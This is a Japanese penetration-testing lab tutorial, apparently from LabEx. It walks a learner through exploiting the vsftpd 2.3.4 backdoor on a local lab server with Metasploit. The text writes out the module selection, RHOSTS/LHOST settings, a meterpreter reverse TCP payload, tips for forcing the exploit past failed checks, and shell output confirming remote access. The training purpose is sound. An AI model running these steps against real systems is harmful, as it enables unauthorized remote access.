Metasploit による簡易エクスプロイトの実行

LinuxBeginner
オンラインで実践に進む

はじめに

Metasploit を使ったペネトレーションテストの世界へようこそ!Metasploit Framework は、サイバーセキュリティの専門家がネットワークやサーバーの脆弱性を調査するために使用する強力なオープンソースツールです。

この実験では、古典的で分かりやすいエクスプロイトの手順を体験します。実験環境には、脆弱性のあるバージョンの VSFTPD (Very Secure FTP Daemon)、具体的にはバージョン 2.3.4 が動作するサーバーを用意しました。この特定のバージョンには、ソースコードに密かに埋め込まれた有名なバックドアが存在します。

あなたの目標は、Metasploit コンソール (msfconsole) を使用してこのサービスに対するエクスプロイトを検索・設定・実行し、ターゲットシステム上でコマンドシェルを取得することです。このハンズオン演習を通じて、Metasploit を使用したエクスプロイト実行の基本的なワークフローを習得しましょう。

それでは、始めましょう!

use exploit/unix/ftp/vsftpd_234_backdoor による脆弱なサービス用エクスプロイトの選択

このステップでは、Metasploit コンソールを起動し、VSFTPD 2.3.4 のバックドアに適したエクスプロイトモジュールを選択します。msfconsole は Metasploit Framework の主要なインターフェースです。

まず、Metasploit コンソールを起動します。バナーをスキップして素早く起動するために -q (quiet) フラグを使用します。

msfconsole -q

コンソールが読み込まれると、プロンプトが msf > に変わります。次に、使用したいエクスプロイトを Metasploit に指示する必要があります。use コマンドは特定のモジュールをロードします。VSFTPD 2.3.4 バックドア用のモジュールは exploit/unix/ftp/vsftpd_234_backdoor にあります。

Metasploit コンソールで以下のコマンドを実行してください。

use exploit/unix/ftp/vsftpd_234_backdoor

コマンドを実行すると、プロンプトが選択したエクスプロイトモジュール名を含むように変化します。これは、モジュールがアクティブになり、設定の準備が整ったことを示しています。

Metasploit のバージョンによっては、デフォルトのペイロードが自動的に選択される場合があります(例: cmd/linux/http/x86/meterpreter_reverse_tcp)。このペイロードには以下の2つの設定が必要です。

  1. LHOST - Metasploit がリバース接続を待ち受ける IP アドレスです。この実験では 127.0.0.1 を使用します。
set LHOST 127.0.0.1
  1. Encoder - デフォルトのエンコーダーでは "All encoders failed to encode." というエラーが発生する可能性があります。エンコーディングを回避するために、エンコーダーを generic/none に設定します。
set Encoder generic/none

set RHOSTS target_ip によるターゲット IP の設定

このステップでは、ターゲットホストの IP アドレスを設定してエクスプロイトを構成します。ほとんどの Metasploit モジュールでは、ターゲットを指定する必要があります。リモートのターゲットホストを指定するオプションは RHOSTS です。

脆弱な FTP サービスは現在操作しているマシン(実験環境)上で動作しているため、ループバック IP アドレスである 127.0.0.1 を使用できます。

このオプションを設定するには、set コマンドの後にオプション名 (RHOSTS) とその値 (127.0.0.1) を入力します。

msfconsole で以下のコマンドを入力してください。

set RHOSTS 127.0.0.1

Metasploit は、オプションとその新しい値を表示して設定を確認します。

RHOSTS => 127.0.0.1

これで、攻撃の対象を Metasploit に指示できました。

show options によるエクスプロイトオプションの確認

このステップでは、エクスプロイトを実行する前に、必要なすべてのオプションが正しく設定されているかを確認します。これは、エクスプロイトが適切に構成されていることを保証するための重要なベストプラクティスです。

show options コマンドは、現在ロードされているモジュールで設定可能なすべてのオプション、現在の設定値、およびそれらが必須かどうかを表示します。

msfconsole で以下のコマンドを実行してください。

show options

モジュールオプションとペイロードオプションがリストされた表が表示されます。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

出力を確認してください。RHOSTS127.0.0.1 に、LHOST127.0.0.1 になっていることを確認します。RPORT21 (FTP) です。必要なオプションがすべて設定されたので、次に進む準備が整いました。

exploit コマンドによるエクスプロイトの実行

エクスプロイトの設定が完了したので、ターゲットに対して実行します。exploit コマンド(run と省略可能)は、現在のモジュールと設定に基づいて攻撃を開始します。

以下のコマンドを入力して Enter キーを押し、エクスプロイトを実行します。

exploit

トラブルシューティング: Msf::OptionValidateError One or more options failed to validate: LHOST と表示された場合は、set LHOST 127.0.0.1 を実行してください。All encoders failed to encode と表示された場合は、set Encoder generic/none を実行してエンコーディングを無効にしてください。Exploit aborted due to failure: not-vulnerableThe target is not exploitable と表示された場合は、set ForceExploit true (または set AutoCheck false) を実行してから、再度 exploit を実行してください。

警告: 初回の試行で "Unable to connect to backdoor on 6200/TCP. Cooldown?" や "Exploit completed, but no session was created." と表示され失敗することがあります。その場合は、単にもう一度 exploit コマンドを実行してください。2回目の試行で成功するはずです。

Metasploit がバックドアの悪用を試みます。攻撃のステップを示す出力が表示されます。成功するとバックドアがトリガーされ、Meterpreter セッションが開かれます。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

重要: エクスプロイトが成功すると、Meterpreter プロンプトに切り替わります。これがリモートアクセス成功の証です!shell を実行して対話型コマンドシェルを取得し、whoamiid を実行してアクセス権を確認できます。

shell
Process 1234 created.
Channel 1 created.
whoami
labex

おめでとうございます。リモートアクセスの取得に成功しました!

sessions -l によるセッションの確認

このステップでは、開いたばかりの接続(「セッション」)を管理する方法を学びます。Metasploit では、複数のセッションを同時に開き、それらを切り替えて操作することができます。

まず、セッションを閉じずに msfconsole プロンプトに戻るには、セッションをバックグラウンドに送る必要があります。キーボードで Ctrl+Z を押してください。シェル内(shell 実行後)にいる場合は、y を入力してチャンネルをバックグラウンドに送ると meterpreter > に戻ります。もう一度 Ctrl+Z を押し、プロンプトが表示されたら y を入力してセッションをバックグラウンドに送ります。

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

sessions コマンドは、Meterpreter 内ではなく、Metasploit のメインプロンプト (msf exploit(...) >) でのみ機能します。これでメインプロンプトに戻りました。アクティブなセッションのリストを表示するには、-l (list) フラグを付けて sessions コマンドを使用します。

sessions -l

これにより、ID、タイプ、接続情報を含む、バックグラウンドにあるすべてのセッションの表が表示されます。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

ID が 1 のセッションが表示されているのが確認できます。再度そのセッションを操作したい場合は、sessions -i 1 コマンドを使用します。このセッション管理は Metasploit の重要な機能です。

まとめ

おめでとうございます!この実験を完了し、Metasploit Framework を使用した最初のエクスプロイトを実行できました。

この実験では、Metasploit を使用したペネトレーションテストの基本的なワークフローを学びました。

  • Metasploit コンソールの起動 (msfconsole)
  • use コマンドによる特定のエクスプロイトモジュールの選択
  • set コマンドによるモジュールのターゲット設定
  • show options による設定の確認
  • exploit コマンドを使用した攻撃の開始
  • sessions を使用した接続の管理

この「選択、設定、実行」という基本的なパターンは、Metasploit 内で行うほぼすべての活動の基礎となります。これで、より複雑なエクスプロイトやペイロードを探索するための核心的な知識を身につけました。